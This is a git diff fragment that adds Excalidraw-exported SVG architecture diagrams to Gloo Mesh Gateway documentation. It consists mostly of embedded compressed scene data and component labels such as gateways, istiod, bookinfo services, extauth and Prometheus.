E2Q7R2dKauqFJUKLQ/ibWHI3UwSPowu4N/OjV44Lg0cS7zzk/Tl+jkxdP0P5P9M9X1kYUzn3cxv1x1MDAxOVx1MDAwYiWUo7jzcjx/dng/nuSTz3fvvXxcIotoXHUwMDE3pfOxR1x1MDAxNiiEOVx1MDAxOZHxRVx1MDAxNkKZXqSAL2KJLM5cdTAwMWZei88v+fvCuM5qXHUwMDE3Pckukq3aXHUwMDBmsthcdTAwMTay2NHy7mhY/NCpiMpDsdy0XHUwMDFmj9Fh6v5cYo1vNlqFZUDI/4vsXHUwMDExXGJRXHUwMDExfKyPpTn3UlwiOlx1MDAxMlxu36f4XCIhXHUwMDFlJmwpjVx1MDAxOVx1MDAxMsJcdTAwMTKBaW3iIL9cdTAwMTNcdTAwMTSyS4Ph2Fx1MDAxZVxm94SFlqCIRSz0MdvNwVx1MDAxMKfB3k1suvqJXHUwMDE13Cyn6dyZXHUwMDE4Y67O+idv04fDqlLDbuw5VGJsmaJcdTAwMWF/Lnf8L9HMlTpcdTAwMTZv3yZcdTAwMTdYSrbDolxicfRtJmyaf2G6PeSTVO1cdTAwMDaps9Z7Ylx1MDAxYjimelm+K56/JJLdczqyO2/ZzD2ZRlx1MDAxYndnqja8XHUwMDAwQHA/RoxcdTAwMTVcdTAwMTamSUj00k1v4iZ7nTo8zZ82y1M+vVZcdTAwMDPWjrtpI1x1MDAxN2JL6ELi52a2XGbglbLtXHUwMDE3N7eWLYNcdTAwMTGV1JRW3l+SZ1x1MDAxOPXf6rth8yzTXHUwMDFhXHUwMDE1XHUwMDFhh8Ps9IU+yYvR5rD4x5jZ6fJufdhlRof/XHUwMDAzP0FcdTAwMTJcdTAwMDZcdTAwMTlcdTAwMWSMXHUwMDA3lq9TkjJcIjiOLlx1MDAwM8OXM7aIZqGbXGYl3MKRpOBOjFxm4lx1MDAwNSqmtLtimH+rXHUwMDE0JngpjVx1MDAxY+WcnZaFI4RgNcti2HV8y1x1MDAwNbNiiVx1MDAwNveYXHUwMDE1v+e3XHUwMDAxXHUwMDAwkYG1cWHLiWk6RqLnrz/kbsWw9jB5vX9lqo1KefE6pbFcdTAwMDcgzMVqbjjCmI4vXHUwMDFjUabenlwiO1xm/tpcdTAwMDSOlOj1Mz96L7+89Vx1MDAxYZVR9jIxuTh//YEj24IjO1rerzLsMpTj/8A9olx1MDAxYz7v4eppXHUwMDFloYnEapVcIr3hy1x1MDAxOV+Uo8NErZAxwzymXHJcdTAwMTHHao/OmT1gnj485qDVaDeGXHUwMDAxydprXHUwMDAznyUu1SXgYVx1MDAxMfu45rlcdTAwMDFcdTAwMDBigaFcdTAwMWZcdTAwMDRcdNNhXkVcdTAwMGaGv2vctHLTt0RH5srHp0+dvrhcdTAwMTmj2ONcdTAwMWZ3XjaV8UU80mSraEc+XqxcdTAwMDCP/VCvJ890MX3WqVxcXHUwMDEyxF9cdTAwMTE+qvxcdTAwMDCebVx1MDAwMZ5cdTAwMWQt7zdcdTAwMWZ2XHUwMDE5jvJ/4D5xXHUwMDE0Vot/nWeem/bcYpXM8/D1jC+Qclx1MDAxZnlRXHUwMDFkO+jEiVx1MDAxMlp8rzPpvl1tXGY+XHUwMDE1My1cdTAwMDFcdTAwMWNcdTAwMWXMNJvgWmxHSTDbMaRN6tJcbufOw6s3Wrh4aiUv8/SydTjIidz77TpA6Vx1MDAxM5lOI2JcdTAwMTFcdTAwMTAwXHUwMDE0Sa5NN1x1MDAxMVx1MDAxN1x1MDAwYmIkLYpcdTAwMTDmIISk0FRvduxcdTAwMWOEm1xi9anwID1Zz1xmKUFcdTAwMTXZY639MCW2p2NaX+ZWUZm71up2XHUwMDEzbXtQT5Sq1W5n8E+nU4JfgYJsX5ZcdTAwMTfrRp6E+Idd32KRucMmXHUwMDE4yvKBmcJcdTAwMDJcdTAwMDeHxVOKleSrZFxuh+96THlcdTAwMWWMIVx0LC9NwVxy+MbutmlYMUszhFx1MDAxOVx1MDAwMYrjzjaq22R5TKjFTXtcdTAwMGZKXGIsuPLpd6mFhVx1MDAxOGdGODGOhfZcdTAwMWFOXGaZSrQx7r0hQjk2YppwuFo5WGhzQVx0U/BTYVwiXHUwMDE1V45cZtXfObncXHUwMDEy1DQl45gr07hwzVx1MDAxYVbhMVbuSTGlXHUwMDE5Jlx1MDAwMplcdTAwMGVcdTAwMWNcdTAwMTRcdTAwMTOfwlrUMs2HmZLMdFx1MDAxYaY+bdy+VFx1MDAxMYRA4jaXh6znw/3lfF1dsDl6IXtOvUz7SeD26M7Yy2FOvT9cdTAwMTP1cl5cdTAwMTFcdTAwMDQ/JNtv/Hgtr88nXG42oDOLU6w54lpcIrJYX51cYmIhRTQwKIA75ri9TtXmIMnGqUU05abDkSSUO/o5zotXYWExQqnptmFMO49kXHUwMDAzXFwqQYrEt7rLSoItuFx1MDAwYm+QdNGl4XnlpCFGbfqePdPdRiaXLvtJXHUwMDE3ZFGClZJmtzFhSMytxFx1MDAwZulClKU1bFx0yFx1MDAxZiYxUnQrXHUwMDA18vYnXVx1MDAwMlx0bHbXQ1sripclYbrBTWfxrFx1MDAxYiZD0UVMvll7VEfT0fVl67VzZN+nh+N0UCR9TERcZifuQL5cdTAwMDWPXHUwMDA1RZai82szXHUwMDAxs92y8KbiXHUwMDE4XHUwMDA2ZVx1MDAxNM9j9f5ccn3q6WvVT91cdTAwMGUuRrXn81x1MDAxNupcdTAwMDbE5P54mVdcdTAwMWZ3R8v7tYbdflx1MDAwZp5lbmb/LzJcdTAwMWbWw1U7r7OOgjOhOGFcdTAwMTKBlIhu+4bvU0zdzKDCwiQ4U1x1MDAxNt2WXHUwMDA034rPmZhW086Ghd/B59zpXHUwMDBlXHUwMDEzjc7M7/OpnucliGTROeWc5vqgipLgRtdgw4CVSKJjqsLkvJJ8SpNs4VxipZ5cdTAwMGZcdTAwMDeN3Fx1MDAxOS/G+7CeL2R6u602RrhcdTAwMDWm9J/L1V16jaP77YIqKbHUVMY0deL1KnueuWplWvVx5rCSZjfZ4/Pu5np0R8PuXG6rXZ9XJm+saY/oZfKmkm00XHUwMDFiXHUwMDBmr+0tjPt2xFS5kFx1MDAwNSVx1385uanS4/xcdTAwMWLawrhfZdeWgVx1MDAxZv9cdTAwMDfuXHUwMDEx/FBcdTAwMTZovJpKUSBrV+g/XHUwMDE4vpwxxj4hkpZcdTAwMTFLbk3Sblx1MDAwM/xIXHUwMDA01jRcdTAwMTF7XGZcdTAwMDXfSzmcz8c9S1CDt1xiTlx1MDAwNMxcdTAwMTNcXI0h8MydYKSVQFx1MDAxY0Xnw/PmYyHXXHUwMDFkX9nlYU41L9hh9Tax3Uq9W+dCiVx1MDAwMGpcdTAwMDCww6b1NpOeXHUwMDBlMsxizHSPQbBcdTAwMTKwXHUwMDE0wT1cdTAwMTY2On9jPlx1MDAwMMd75G5cdTAwMWE+XHUwMDAwvFx1MDAxMXp/pXjDlNogc9tcdTAwMTOJcrKCbI37T/27fJ/2o+ngTdSPL4NHPnOvXHUwMDBmh71yo1x1MDAxM7ujdp95hTJ48EGUXHUwMDBlPmFnppJcdTAwMDPYs9HrrYTvcTw5nJruoaakO6OMkoU0SKx+XHUwMDFkQ2nNpaDCXHUwMDEx97tVXHUwMDA2R9pigmhBKKaUXHUwMDEz5Vx1MDAxM2KjlKVNv1x1MDAwZlwiNVx1MDAxNlxcO0XNn1xumnCLc7270ORYnLCHK5GDhVx1MDAxM3bYMUSYKWOAqZLC8Ta/XHUwMDEzdlwivGWvI52BVSty1D3h7cJFr1STybN0q3lBXHUwMDAyJiXgKUJcblx1MDAwZfLKXHUwMDFjfnrLg1x1MDAxM2RcdTAwMTHYTGxcdTAwMGU+Tdsy+sXbXGZcdTAwMDRTt7k8dD1cdTAwMWbvL+frypItuE0lkISQzLTliCzYXHUwMDEy13fdTOZcZpeHg1I3WyNccvtFNONuQph67s42ldpcdTAwMWQ8pJDLfSqDg4dcIsTsXHUwMDA2XHUwMDE27ZNOO1x1MDAwNVx1MDAwMJRPl1x1MDAwMTyf9p+afVx1MDAxMnHTeCeu0ULLsEbkQ3XXna/E1YHbai5g+Vx1MDAxNbk4yFx1MDAwMMGO6mZcdTAwMGJcXCyBoskqpaZcdTAwMWVqvdbRRaGepYPsqyzU6MXg/Sz2PIxcYnWxqbtcdTAwMTjcrE2Sg8NDXGaQXGKn2IGFN6WXaVx1MDAxZFx1MDAwMUy/mVx1MDAxNkxcdTAwMGaspN5ltuJuuXYtXHUwMDE3wFx1MDAxYva3/pXrnbu3XGJgXHUwMDFl63GYXGbWk7PucmhcdTAwMDU1WTgtnuHbs9fRXV+Nx6Iyvm3WhrFnMcyIhcXHJVx1MDAxNzhMuvhvo17OgVx1MDAxY0b8ird5OGxWXHUwMDAyZYdcdTAwMDWn48heJCbsRdZkL1x1MDAxMVhfzViVYJSw6Oz1mOaHk2b6uJesj1VJ3tdF7i5cdTAwMWJ79lJaWXReLVF42MuZOFx1MDAxNmJg71xcgWFiXCKaXHUwMDA1Y7s7XCLcxIE2TbROc7SdXCLiUtyQo1xcJjNq8j050L6PetSBXHUwMDFlcC4lV1x1MDAwNK/gXHUwMDAwb15e2oUszj09Tk9ady/302u7elx1MDAxOXf+JVxiXHUwMDAzi87NSI09XGbMnddcdTAwMWX1I0dcdTAwMTJrQmVcXHvR/WhIXHUwMDFmXHUwMDBlI8EhNXh2pMhcdTAwMWQ99JaymG7ZqVxmOX5+nVx1MDAxY55cdTAwMTYmOn/avUq9fVx0XHUwMDE2c9byXdCRXFw7WWxHXGLUJ6vLR0WatGqGyPcy8WhMOIxuUrXbUUVmMXJNMSbJXG5V9lx1MDAwZbvvZ+3bw7Nk2u6J+8fikX48XHUwMDFlXHUwMDA0MFlMjnmEcZRooUyIpvm5mG7EkEWoQprPfoo4ZVx1MDAwM0ht8tOY0DvjuU1cdTAwMDLXzjLn4+LDZSbZOk7f0aHAg0HnNL5cdTAwMTFmXy1cdTAwMWJgR8v7tYbdfjbAjqa7LM7O/4HzYT3MuvMkXHUwMDAzXHUwMDE5mIfKXHUwMDA0olhjXHUwMDE1/fQ/fDljir2ExqGKgUtLbksxbCPOjoHFiVx1MDAxOXOUPfhcdTAwMDZxdlx1MDAwM8A11VK/enDXrfpjsVx1MDAxZFx1MDAwNdstQTqLXGLNNc/1sVx1MDAxYUOBQTmcYWEq7kZmylc6nN6X++nzUebx6fDsNFd/aup1sNrnJVx1MDAxOVxixS0250i2XHUwMDEwdGdKk/9mR/OTXHUwMDA0n3l9fpJcdTAwMDEmhEmFkNhcdTAwMWZ7him8YT9/qcqVi8duP9Xrq3N2p+62oJ93NOxPlsFX3LWtXHUwMDBmu1xmVPk/cI+givHgzE3KQGJpJaNniYWvZ2xRXHUwMDE1XG5cdTAwMTXhjFpsW1wifCupm5hSpjnS31xuVlx1MDAwMUo5XHUwMDE4N4b1g2Tnrevfvm5XwGpcdCxZXHUwMDA0Vlx1MDAwYjNdXHUwMDFmWnFcdTAwMTRcXHhcdTAwMDdcdTAwMTOkXGJcdTAwMTM0usXTXHUwMDFld+96/Dp//Fxcv5z2R+hcdTAwMWVcdTAwMWRlXHUwMDEycXeEXHUwMDAxrqFzg8dcdTAwMWRPhFx1MDAxOWbWnDGxI9hgm3V31lx1MDAwNFdUSzDBiCPmK07g6uhsUK10SoXSMVx1MDAxOVx1MDAwZY6ytsq01Ft8UdBX84TtaHl3NOyDvteKqmzz5emqX1Pjk9HruLlccuzaQIm2rFx1MDAxN3LN3E3mTbRcdTAwMTLCrre2MG5cdTAwMTZVZK2E+pf4YZgrpU5QXG6/drYwbpdWXHUwMDBiL1x1MDAwNTVcdTAwMTHVXHUwMDFie9i86PWK9+3SXHUwMDE2xr0ppWi+fWeXefmmmDrOXHUwMDEz2lxi2rYtXHUwMDE1XGLxJ5Q9wkznSaC3c1x1MDAxMuJIcVx1MDAxMf3gNJxcdTAwMGbiXG4zlVx1MDAwZVVmlFgokjL7rKrUXG4xQlx1MDAxMcP7O8vZXHUwMDAzzEy1ut2Da3tQ/3T33Vx1MDAxMny2iDLdXHUwMDEz3Vx1MDAwMGRcdTAwMDaXrVWYYMSdpWyWVu5Jpp8np8dcdTAwMTdcdTAwMWQ+tK/P2uRqdNq9+lpcdTAwMTiTudmSI2qhuVx1MDAwN0/vKOZvLYxpXHUwMDEyg0BQ6HhcdTAwMWW2jo7EU1x1MDAxN+F+Kp9BjUnv6XDaXCLiXHUwMDA3Ym5cdTAwMGJi7mh5v9awn196zf+L7Fx1MDAxM1lcdTAwMDWfimpcdTAwMGX/XHUwMDExvEI/2PBt+lwiwGpRglx1MDAxM2TxSFx1MDAxMvyTgJVcdTAwMDRbS3HuSFX/XHUwMDA2uOp8MGx0P1x1MDAxZFMtwSOLmGo+yfVYkVx1MDAwNXf9XHUwMDAwysRSr9L1XHUwMDAzjVx1MDAxYomTx5Ph08l5fiREa2jf547izovSNKT/cKVTvVx1MDAxMKFcdTAwMDC2XkRf+qZcdTAwMTFcblx1MDAwZef4XHUwMDA3K1JPiCjTUiPkTEWMXHUwMDEzgmo+s1TuXHUwMDExZV+71+PukNcyteTtczTttolcdTAwMWHyZfTIVUiu7Jrd8edyR9ju51x1MDAwNKH+nstazCyCs3mZKcKA+FxuVb1SR41KTiWeXi+O3s5lXCKdvM9fX8edlzHX2pKSXG7FXHSjTCF3smHCXHUwMDE0UORCXHUwMDAzXHUwMDBiXHUwMDExbSpE7I6ZpU9KlJeZMVwiXHUwMDA0XHUwMDBijWU841x1MDAxOZ5cbqnb0cP5YVx1MDAxMZGzh+P22404VLW4c/Nxq+HakX1y8++5hHJzYIVccqmDXHUwMDFkkNpkblx1MDAxMCSi+znC9zKWflx1MDAwZcxcdTAwMTW3OMbIXHUwMDFjXHUwMDFhciGZu3hQXHUwMDAyXHUwMDE0M8PA5oBOXHUwMDE5XHUwMDE11MHsWz1MI6ZcdTAwMTiDkJqb/EmshE9cdTAwMTdcdTAwMGJpYclMXHUwMDAxXHUwMDE20zaMXHUwMDEy7U2dYuZcdTAwMWLsUmvHonpQuNI4cDarwPBkpUEjUcVcdTAwMDFmam97XHUwMDFlzCygcVx1MDAwMZaHkFxuceXthPPvqPWRXGKmMHN5aGs+3l/OVyNyZ0/4u9TrZYawxVx1MDAxZlx1MDAxYvX3W8NcdTAwMWVcdTAwMWZcdTAwMDVH5/31e1GNXHUwMDE0sM3X+p///et//z9cdTAwMDO3RUwifQ== + + + + ingress gatewayeastwest gatewayistiodGloo Mesh agentbookinfo workspacebookinfo-frontendsnamespacebookinfo-backendsnamespacegateways workspaceproductpagedetailsratingsreviewsproductpagedetailsratingsreviewsextauthrate limiterredisistiodGloo Mesh agentGloo Mesh Gateway componentsGloo Mesh management serverGloo Mesh dashboardPrometheusKubernetes clustersistio-gatewaysnamespaceKubernetes APIserverKubernetes APIserveringress gatewayeastwest gatewayextauthrate limiterredisgloo-mesh-addonsnamespacenot-in-meshin-meshhttpbinnamespacev1v2v1v2v3standard PodPod with EnvoyGloo Mesh PodIstio PodLegendClient \ No newline at end of file diff --git a/gloo-mesh/gateway/2-5/airgap/standalone-portal/images/steps/create-gateways-workspace/gloo-mesh-workspaces.svg b/gloo-mesh/gateway/2-5/airgap/standalone-portal/images/steps/create-gateways-workspace/gloo-mesh-workspaces.svg new file mode 100644 index 0000000000..4355dcff7a --- /dev/null +++ b/gloo-mesh/gateway/2-5/airgap/standalone-portal/images/steps/create-gateways-workspace/gloo-mesh-workspaces.svg @@ -0,0 +1,16 @@ + + + eyJ2ZXJzaW9uIjoiMSIsImVuY29kaW5nIjoiYnN0cmluZyIsImNvbXByZXNzZWQiOnRydWUsImVuY29kZWQiOiJ4nO19V3PqyLfv+3xcbtec1z+6ncN5c8A4XHUwMDA3glxyvnOLXCLIXHUwMDA0k0wwhlPnu9/V7L2NhFx1MDAwMlwiXHUwMDE5eWzNLjO2oNV0r/Bbq1f4n79cdTAwMGVcdTAwMGX+XHUwMDFlTnr23/998Lf9Xim1XHUwMDFh1X5p/Pd/zN/f7P6g0e3ALTL7fdBcdTAwMWT1K7N31ofD3uC//8//KfV61vxTVqXb/vVJu2W37c5wXHUwMDAw7/2/8PvBwf/Mfjqe1bcrw1Kn1rJnXHUwMDFmmN2aP45jvfjXm25n9miCpKRIYPzxhsbgXHUwMDA0XHUwMDFlN7SrcPe51Fx1MDAxYdjzO+ZPf1crctQ94e3CRa9Uk8mzdKt5QeZPfW60WpnhpPXre5Uq9VHfMafBsN99sVx1MDAxZlx1MDAxYtVhXHUwMDFk7uOFv398btCFXHUwMDE1mH+q31x1MDAxZNXqXHUwMDFkezBwfabbK1VcdTAwMWHDiflcdTAwMWJCXHUwMDFmf/21XGL/fTD/y7tZXHUwMDAxpC3NPi7+cdN8nGhsXHUwMDEx+XEpLFx1MDAxN+Z13G11+2Ze/4WUfObl+czKpcpLXHKm16nO34NJWSkxf8/497clSFnEcTHx8Za63ajVh+Y9RFjaebH5VOzZlmjMqFwiVJOPXHUwMDFi5vm98+qcOGZ/LVxcli7a94PXVJtcdTAwMWU+naZcdTAwMGb1KEWf/v59//8tLny91O/9XuC/XHUwMDA35lx1MDAxN8dXNN8uuUiATlwidFx1MDAxMMdhhlb5TSrbRrWTUuLq3H4rXjY+xnJRbKnf747//rjzv/9cdFx1MDAxYneQue2JRDlZQbbG/af+Xb5P+9HG9XzlUa9a+kXeWDAukKBcXDA6X89Wo/NcdTAwMDI3O6NW6y/HzFZlOVx1MDAxMsRyXHUwMDE4aYEl1UhG5rnBZeEufW33L0VlcPv+dvFYmnSScec5SaWl6Pxy85xAXHUwMDE2R/OLXHUwMDA0slx1MDAxY9NcdTAwMWNxXHUwMDE5znKEqLLtw3KYXHUwMDEw5OIn5cNyysNjWFwiwZRcdTAwMTSc7ozJZl9gTSZrPrNU7lx1MDAxMWVfu9fj7pDXMrXk7fNcdTAwMTaYLGHT/Fx1MDAwYtPtIZ+kajdInbXeXHUwMDEzmVgzXHUwMDE5XHLUa5pcdTAwMGKFiEI0Mo+d5Fx1MDAxZVC1cHmWaemTq8ZZPnd39zaIO49hRJWLyaSbyzR1cVx1MDAxOWWBbLZ/zYZcdFxiTcko/teptv1wXHUwMDA3XHUwMDE1KIg7XGJiTFxuLVx0j8xcdTAwMWW6NDyvnDTEqE3fs2e628jk0uXYs1x1MDAwN1XCWlx1MDAwMHuUWcipeGgwS8yuUJZcdTAwMTj2S51Br9RcdTAwMDdcdTAwMDLysoXS0k3yXq5QiljCcfFFptBcdTAwMDRxLIjAO+OJTTRRo/5YSvZfXHUwMDA3vFxckFeZxtXpey5xt1x1MDAwNU10Ocyp92eiXs4rguCHZPuNXHUwMDFmozjzXHUwMDFhdiCLRbhHiSRagZ1cdTAwMTWZ18qniWY91ytcdTAwMTGpbvh7h41EsX1cdTAwMTh3XmOM7JHVXHUwMDE0Xc5qeJG5QFxmYqmBwfbGXFyfTKZMXHUwMDA1XHUwMDAyJqylorAgNLpKXHUwMDE4pKpccvQwPc1cdTAwMWSlzlx1MDAwNil+93iuns/iTqZSMIvSQLNE6YhmSVxm8JJcdTAwMDTiVZI6QPBcdTAwMGZe2lx1MDAwNC+RYJOdgC3BXHUwMDE16KLIzHGcKD8kXHUwMDFiXHUwMDE1TVKpJG4+1nn5PNf6POZAazFcdTAwMDdcdTAwMDM4YshfgF3BMVx1MDAxN25rgkthUcSZQppLRDFcdTAwMGZkjo1sdsOhTsKnXuagXHUwMDBlXHUwMDAx/4dcdTAwMWI4JSDDiP42wpw4nLaL9CokhS10btEyepV314lcdTAwMTNVnN6i6lx1MDAxYq9gMbnOn6XjLswxY2xcdTAwMDF0XGJE3aBjJ1x1MDAxMlxcXCK0XGZvYOLBXHUwMDFiSmmNlSa7cyt9K4FNdKCBizmCf0iq6KD74fWilW0/a56+aZ/V8UDc5p5cdTAwMWFfgFx1MDAwMfhcdTAwMDJcdTAwMDNIaoCDXHUwMDE0XG5cdMFcdTAwMTCYjrtiXHUwMDAwXHUwMDFmzFx1MDAwMrjGyXtcdTAwMGXv21x1MDAxZimtlaaAxGOKWUr59NlcdTAwMGLKqiS55JXMtKVcdTAwMGU7mXSsWSBcdTAwMDSzYEU0XHUwMDAwelx1MDAxMZ1cdTAwMDWqzWrzqVt8vM6f2Nm3l+TNS+p0XHUwMDFhwFx1MDAwMlx1MDAwYqTsZoBFN+MuXHUwMDFkoFx1MDAwMi8wXHUwMDAwqL2IXHUwMDE4XHUwMDFlXHUwMDAwna0r4VxmULZZuVr2gSmCXHUwMDA10fpcdTAwMDc/cC9KYdo4OFx1MDAxMd5cdTAwMWRK2YT+m4ns8dFcdTAwMGIj+v6yTmrnlefxJD/1p/+h/T6M6s6Rw0Z5YE9cdTAwMTW5yDda+fZzws5Ttlx1MDAwNTdRsnh/jK/ZxbhbvsZ3+aG+PHuPeGBcdTAwMTE6buWtnJInnaNmtkEz6mySbVx1MDAxZSfLXHUwMDFijetatf9EXfhPkC6uXHQ5XHUwMDA1XHUwMDBiXHJcdTAwMTYsXHUwMDE0Y8y4UtHBZThdxVW3glx1MDAwMvWIXHUwMDE2XHUwMDE5XHUwMDExXFw+z671XHUwMDFkWpjPZeiHPGFzJ+NcdTAwMWZ5goSiiKL9qdO1SHK+893OMNOY/jqTcP31tNRutCauzZvRqvE6d2p9mN3BP51cdTAwMWE8cFxcmjiXeWDDc8x4zP3Bw1aj1pkxN8zc7rtoftiolFpcdTAwMWZvaDeqVae2rcBsSjBm/zyKkuz2XHUwMDFitUan1MouTPbPVDfQ9UJcdTAwMDSypKKEXHUwMDExJkh0XV+cPKXro3bXVp2ULL1cXCVG09Yk7rqe61x1MDAwNYZkRMZW11x1MDAwM1dcbs1cdOJ7480wXHUwMDFkd35LXHUwMDFmT8rkrHyIS1x1MDAwZs3TfE886NKPqt9cXNXvaHmXIVxi/1x1MDAwN0acLX7oVETloVhu2o/H6DB1f4TGN3u2e4KQXHR1cN/isbbgWFx1MDAxM2d43zIpXHUwMDE4vk3xXHUwMDA1JoteL0ajer0+XHSYXGKz7UI5XHUwMDE00jdcdTAwMDAmdmkwXHUwMDFj24PhnpDJXHUwMDEylb6ITD5muzk0XHUwMDAxayCQJzHCWlwivoIr+jnVrV6Unm5HuWKmctVTw9Py1VpuiE+ML6bEQtxxubhcdTAwMTM+T123dSB7RjhcYt8yTNFcYlMhd3lcYr5cdExcdTAwMTk/0veX9/40V2p3MX9X6YvapPNcdTAwMDNTtlx1MDAwNVN2tLxbXHUwMDFmdlx1MDAxOfrxf2DE2bJcdTAwMWO+Pq3nUvXc2fStmM1X5G3lKqbohzuixr1GoFSMMlx1MDAxNj3mNXyfYlxuf7hxwoTIWoIsXHUwMDFlSdbuXHUwMDA0XG5cdTAwMTFvnIaSXGK0IGX7k7D7cNJcZoaNbtVcdTAwMTf/OPJrtop/luBcdTAwMDaPZ+bXXGY3QD2CXHUwMDA18qLWmFKFZXRenJ7kJlx1MDAxN+VXmrrtl6v1m3NVOnluxlx1MDAxYvVgJIUlXHUwMDFkgUyLqEdYeFx1MDAxZdsqQ47iI6CewHiR9Vx1MDAwZWK0wIhcdTAwMTFcdTAwMTZT70zlqdGY3lUr9/lcdTAwMDTF6btelVWGRz+wZ1uwZ+vLu1xmn/g/MOJsXHUwMDFm9L1WVGWbL09X/ZpcdTAwMWGfjF7HzS2swnVcdTAwMDMl2rJeyDVzN5k30UpcYrve2sK4WVSRtVx1MDAxMupf4odhrpQ6QSn8XHUwMDFhgP5WXHUwMDFht0urhZeCmojqjT1sXvR6xft2gE9tpXFvSimab9/ZZV6+KaaO84Q21FtM8Vx1MDAxZtPBXHUwMDExvCbeg+lcdTAwMTVcZu1wNogp/MNI4TClg7Ezo1wiROl8kieMaiWJdG7LN0B/qVa3e3BtXHUwMDBm6lx1MDAwN/90SjXX8n2CI2xcdJRaXHUwMDA0gvPJ/prqWoxJUSBcdTAwMTjUjCikVnFLTzI5Us4n+bQ+fUHtw0nibjpcdTAwMWXHnTFcdCXcXHUwMDAyO1x1MDAwN0smZj9cdTAwMTdcXNRKWkRxidmvnyw4fFx1MDAxOCvBSuGBaaGcSbhPni9cdTAwMTWLnCkpXHUwMDE4ZVxuyXhCQJ0qto9q56P6ICllelx1MDAwNFx1MDAxYn7fKOxeK/nyvYrK9+Vu96XRee5cdTAwMWWMu/1cdTAwMTfYn4rty/iOvMPVXHUwMDE4f9jtXHUwMDA1cb1r8oss7jOvUC7/taI+bI5VYMypXHUwMDAyc0hcdTAwMTLMo5/Bh29xLE0+QuliwClcdTAwMDe2j3b2XHUwMDE0ga+DzTxELMKpXHUwMDA0w01TXHUwMDEz3O6TM1x1MDAwM5ag1EIoRpBAWFBvuIxiVDGhYpskIHA4U1x1MDAwZYal/vCo0ak2OjW4N1x1MDAxN1x1MDAxYn9KxJxH0Fx1MDAxZjM2roxmaVwixlVcdTAwMDaLQlx1MDAxMLwgRuf+XG6zNKWemZz1IbLNT6nJ73d8gOq/7U51PifXfFulwfC42243hvBN77qNztD3XHUwMDFiXHUwMDFkXHUwMDFhdqvbJVx1MDAwZlx1MDAxZsPIznuLfNkzI7q3bv5/XHUwMDA3c9Kd/fLx///vP77vTlx1MDAwNJOYuTzENVx1MDAxZu8v5+uqwFx1MDAwMavASDtTJkRcdTAwMTC0QkqeSF3w9EProjzOXHUwMDFkqXbr8P2e1DNxlyhkMapHXHUwMDE4XHUwMDE5s7VcdTAwMWOOIIlCmFx1MDAwZkpw2lx1MDAwYr+TRDGDXVx1MDAxME7He7xkxk5cdTAwMTV54rlcdTAwMGZvXHUwMDA0Nlx1MDAxY/zT6ZTadrBOXHUwMDE364L5TXW6/1x1MDAxNNfixbBweolNiJ2k0T26R6PGY/7pgddEMTs8StmXL1fX2bgzoyMzw3xELaR0LE5lS6xIfVx1MDAxMqi8rMiFlIpcdTAwMTC8u2jXTYoh7Dp5ZFx1MDAxOTbYjM/NdsWbzf1muFx1MDAxZYinJLhaXHUwMDAzLDPWIPKj69zwvLm4sjmzXHUwMDA0XHUwMDEximuAw4I7PFkz/SuVZTBcdTAwMGWXXG6gkCa70b9YXG6La800XHUwMDE3nDFnqt6HXGJAXHUwMDE2YVxiaa5NQS6JlWZcdTAwMWUjnjBcdTAwMDFgXGZAW0y184qIflx1MDAxMf0ux/rhibsurE9gPlx1MDAxNCxY2DVCJJ7PbFx1MDAwZfaJxVx0wFx1MDAxZIY1gf2RXqz/tVx1MDAxMH1cdTAwMTCJze76UNeKmD5YwogwXHQjlOJgYESWMOGaJa5cdTAwMTKGgr2kJaw6kcQtX1x1MDAxNMNcdTAwMTZlSlx1MDAxMSRcdTAwMTUmUm9WlSyqfCE+XHUwMDA3w8jShEqgXHUwMDAwkyhpouC80Vx1MDAxYoxTJZhi+6tcdTAwMDX4KS6DcLDqXHUwMDEyI0gjMJElx2C6UUmVV4xwi4DVxkGEXHUwMDEwWFxcIFx1MDAwMo9cdTAwMTiJJNrCU7Ldc1wioKdcdTAwMTgyNc0oXHUwMDE4zEr7ODKwJT9mXHUwMDA1prWm/y7hRqjr81x1MDAxZcpeUbZcdTAwMDVHoFx1MDAwNaYhgSXPMEUrXHUwMDA0oFx1MDAxZOfrXHUwMDE3qZv6IF3jdrfR7t2PT0dBJlJ8XHUwMDBlOkCPWoxcdTAwMTNqXG6hmJ/uMimgSCw9v4s38oeGn3PISOdcdTAwMWNcXIK6V1x1MDAxOO0v/uzjXHUwMDE58ak6upnZ9Dtkflx1MDAxMLdzXHUwMDBln3mtXHUwMDA3YExcdTAwMThlXHUwMDEwm1x1MDAwM4bkJtUmuolcdTAwMTS+x/FcdTAwMDQwhGBLI8RcdOBcdTAwMTRK8EKdMGJKIYHcNUl+IPVCwlxmNjn0IIxacE+ZjFx1MDAxZolgIO7ld0EtRojmJlx1MDAwN1x1MDAxNGFvkTvMXHUwMDE4aGCM2O6OOWNcdTAwMDFgwlWJXHUwMDBiLFCjNGE9XHUwMDExXHUwMDAwf+Ned/j5/2BcdTAwMDVqcVhRwFxuRGMwhzlfXHUwMDBmwYRcdTAwMTfudk3KOFx1MDAxOPXMXHUwMDE2XHUwMDA3SFx1MDAwNfvFvZPSlqLwXHUwMDFmgFFcdTAwMDDNlGPhmdSXXHUwMDAyMMHUba5Ful5cdTAwMTG+LCmdXHUwMDE1Up2dmsLRgkY/xlx1MDAxNbmrafFq3E7nk2RCqqVB+sGuriPdPjGVWpLFY1xcQcFcdTAwMWXmUVx1MDAwZV2ipFIvXHUwMDA2V21cdTAwMTatK1x1MDAwMMdSKXfo5NlcdTAwMDTB8OtpIXd58np62SpVc0T36OA9oFxublx1MDAxY4J17/V7fZi+e7+aVlx1MDAxZnrDXHUwMDAxOZ5cdTAwMWVcdTAwMTfHW1x1MDAxOLdrn7yl+FBW2MnxqH9xcl647YuNxl1cdTAwMTZV67/w28GHocIl+Cw32O2DMNMzmzmyXFxcdKermFx1MDAxYUdYglx1MDAxY1mQLExakkc5Q4ogWZaFZC6VLj5cdDpYXGJNpGTfqopKr9+tjirDXqnmb7vsKktnibZcXLRonNPcQOHz4FKBoFx1MDAwYlx0XHUwMDE2SkT3x+J3fXPZOcq/ZTKd685tj5313lnMXHUwMDE1PvfUSZPALFtjyy0rfFwiKVFMx7RM4CBbtU9HNlx1MDAxMnJ6To9zk2L6XHUwMDE2jzZX+DtcdTAwMWH2q+GIfvWi1KjWXHUwMDA2vPp2+9gpPVx1MDAxN87JccTA1zVxhP/C71x1MDAxMUdcdTAwMTBHNv6CuOJgl7rcXHUwMDExS6u0h1JVXFxRXHUwMDA099Rek5K47JOdolxiXHUwMDFm2OBpzWEq+UpTbWZ/5Xz3XHUwMDAwXHUwMDFiqjYo89bAXHUwMDFmMijX27dcdTAwMDZcdTAwMTmW6NtFyPBniuvDXHUwMDA1XHU